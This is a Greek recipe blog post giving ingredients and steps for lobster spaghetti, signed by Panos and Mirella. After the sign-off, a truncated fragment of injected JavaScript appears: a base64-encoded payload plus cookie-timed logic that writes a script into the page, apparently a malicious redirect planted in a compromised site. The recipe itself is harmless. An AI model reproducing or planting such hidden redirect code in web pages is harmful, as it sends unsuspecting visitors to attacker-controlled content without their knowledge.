Αστακομακαρονάδα

by · Published · Updated

Οι τσουχτροφίλοι μας, ήταν ιδιαίτερα δημιουργικοί αυτό το ΣΚ και μας προτείνουν… αστακομακαρονάδα!!!

Θα χρειαστείτε:

  • 1 αστακός 1κιλό περίπου
  • Μισό φλυτζάνι τσαγιού ελαιόλαδο
  • 4-5 ώριμες ντομάτες τριμμένες
  • 5-6 σκελίδες σκόρδο σε φέτες
  • 1/2 ματσάκι μαϊντανό ψιλοκομμένο
  • 1 ποτήρι λευκό κρασί
  • 1 πακέτο σπαγγέτι κονκαρότι ή μίσο κονκαρότι μισό κλασσικό σπαγγέτι
  • αλάτι,πιπέρι

 

 

Για τη συνταγή χρησιμοποιήθηκε κατεψυγμένος αστακός ατλαντικού που μπορούμε να βρούμε στα super markets με κόστος περίπου 25-30 ευρώ το κιλό.
Σε μια μεγάλη κατσαρόλα βράζουμε νερό και προσθέτουμε τον αστακό για 5 λεπτά ώστε να σφίξει λιγάκι. Τον αφαιρούμεκαι τον τοποθετούμε σε μια πιατέλα. Δεν πετάμε το νερό στο οποίο έβρασε, παρά αφαιρούμε μόνο τυχόν αφρούς ή άλληουσία που έχει βγάλει.
Μόλις κρυώσει λίγο ο αστακός, αφαιρούμε την ουρά και την κόβουμε στα 2 κατά μήκος (κατεύθυνση από κεφάλι προς τηνουρά). Γίνεται εύκολα με ένα μεγάλο μαχαίρι αν πατήσουμε στο μέσο της ουράς.
Προσοχή μη σας γλυστρίσει όμως.Αφαιρούμε εύκολα το εντεράκι που περιέχει.Από το κεφάλι αφαιρούμε το τμήμα του εντέρου που επίσης περιέχει, και αν τυχόν σπάσει, ξεπλένουμε καλά. Bγάζουμε μεένα πηρούνι το καθαρό κρέας που περιέχει το κεφάλι. Τέλος, κόβουμε τις δαγκάνες του.

Σε άλλη κατσαρόλα, βάζουμε το ελαιόλαδο και ρίχνουμε το κρεμμύδι να τσιγαριστεί λίγο. Προσθέτουμε το σκόρδο,τη ντομάτα και το μισό μαϊντανό και το αφήνουμε να πάρει μία βράση. Σβήνουμε με το κρασί, και πριν εξατμιστεί εντελώς,προσθέτουμε τα 2 τεμάχια της ουράς, με το εκτεθιμένο κρέας προς κάτω, τις δαγκάνες, και το κρέας από το κεφάλι.

Χαμηλώνουμε λίγο τη φωτιά και μαγειρεύουμε περίπου για 10 λεπτά, γυρίζοντας 2 φορές και τα τεμάχια του αστακού.

Στην κατσαρόλα που βράσαμε τον αστακό βράζουμε τα ζυμαρικά. Προτιμάμε κονκαρότι το οποίο δένει εξαιρετικά με αστακό ή γαρίδες αλλά μπορούμε να βάλουμε και μισό μισό (προσωπικά το προτιμώ έτσι).

Λίγο πριν να είναι έτοιμα τα ζυμαρικά (τα δοκιμάζουμε), παίρνουμε 1 κούπα από το νερό που βράζουν και τη ρίχνουμε ως ζωμό στην άλλη κατσαρόλα με τον αστακό και τη σάλτσα. Ανακατεύουμε να ομογενοποιηθεί και ρίχνουμε λίγα λίγα τα μακαρόνια ανακατεύοντας.

Συνεχίζουμε για 3-4 λεπτά το μαγείρεμα στην κατσαρόλα που έχουνε ενωθεί τα υλικά μας, και σερβίρουμε σε 2 πιατελίτσες, βάζοντας το σπαγγέτι από κάτω, και την ουρά και τη δαγκάνα από πάνω.

Πασπαλίζουμε με τον υπόλοιπο μαϊντανό και σερβίρουμε.

 

Καλή σας όρεξη από τον Πάνο και τη Μιρέλλα!

 

U3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Tags:

You may also like...

Leave a Reply